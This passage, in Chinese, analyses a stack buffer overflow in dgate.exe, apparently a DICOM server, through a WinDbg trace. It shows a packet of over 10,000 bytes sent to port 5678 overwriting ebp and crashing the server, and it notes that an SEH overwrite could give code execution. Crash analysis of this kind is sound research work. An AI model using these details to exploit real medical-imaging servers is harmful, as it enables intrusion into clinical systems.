eip=0058b638 esp=019e621c ebp=0187a828 iopl=0         nv up ei pl nz ac po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000212
dgate+0x18b638:
0058b638 8b460c          mov     eax,dword ptr [esi+0Ch] ds:0023:0184286c=01c10048
0:002> p
eax=01c10048 ebx=00004141 ecx=0000006f edx=000041b0 esi=01842860 edi=019e7848
eip=0058b63b esp=019e621c ebp=0187a828 iopl=0         nv up ei pl nz ac po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000212
dgate+0x18b63b:
0058b63b 03c1            add     eax,ecx
0:002> p
eax=01c100b7 ebx=00004141 ecx=0000006f edx=000041b0 esi=01842860 edi=019e7848
eip=0058b63d esp=019e621c ebp=0187a828 iopl=0         nv up ei pl nz ac pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000216
dgate+0x18b63d:
0058b63d 50              push    eax
0:002> p
eax=01c100b7 ebx=00004141 ecx=0000006f edx=000041b0 esi=01842860 edi=019e7848
eip=0058b63e esp=019e6218 ebp=0187a828 iopl=0         nv up ei pl nz ac pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000216
dgate+0x18b63e:
0058b63e 55              push    ebp
0:002> p
eax=01c100b7 ebx=00004141 ecx=0000006f edx=000041b0 esi=01842860 edi=019e7848
eip=0058b63f esp=019e6214 ebp=0187a828 iopl=0         nv up ei pl nz ac pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000216
dgate+0x18b63f:
0058b63f e82cf30200      call    dgate+0x1ba970 (005ba970)
0:002> dd esp
019e6214  0187a828 01c100b7 00002791 0187a820
019e6224  00007ffc 0187a822 019e7848 0058e968
019e6234  0187a828 00004141 0187a818 019e7848

到达call memcpy调用的时候观察esp的三个参数,其中0x2791代表拷贝的长度,也就是10000+个字节,01c100b7,就是要拷贝的内容,就是我们的payload。

0:002> dc 01c100b7
01c100b7  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
01c100c7  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
01c100d7  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
01c100e7  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA

而0187a828就是待拷贝的缓冲区,我们可以看到这个值离ebp的值很近,可以直接覆盖到ebp。这样拷贝结束之后。

0:002> p
eax=0187a828 ebx=00004141 ecx=00000000 edx=00000001 esi=01842860 edi=019e7848
eip=0058b644 esp=019e6214 ebp=0187a828 iopl=0         nv up ei pl nz ac po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000212
dgate+0x18b644:
0058b644 8b4604          mov     eax,dword ptr [esi+4] ds:0023:01842864=0000006f
0:002> dd eax
0187a828  41414141 41414141 41414141 41414141
0187a838  41414141 41414141 41414141 41414141
0187a848  41414141 41414141 41414141 41414141
0187a858  41414141 41414141 41414141 41414141
0:002> dd ebp
0187a828  41414141 41414141 41414141 41414141

可以看到ebp的值也被覆盖了,某些关键指针被覆盖,最后引用的时候,会引用到无效指针。

eax=41414141 ebx=00000af5 ecx=41414141 edx=da7854d8 esi=01812830 edi=019b7848
eip=0058b6a0 esp=019b6234 ebp=019b98c4 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010202
*** WARNING: Unable to verify checksum for C:\Users\Administrator\Desktop\dicomserver1417d\dgate.exe
*** ERROR: Module load completed but symbols could not be loaded for C:\Users\Administrator\Desktop\dicomserver1417d\dgate.exe
dgate+0x18b6a0:
0058b6a0 8b4804          mov     ecx,dword ptr [eax+4] ds:0023:41414145=????????

同样,可以利用这种结构直接覆盖到seh结构,最后导致代码执行。这个漏洞发生的原因,就是由于DICOM在接收5678端口处理DICOM自己协议的时候由于对于数据包长度控制不严格,从而导致了某些关键指针被覆盖,最后导致代码执行。

❌
❌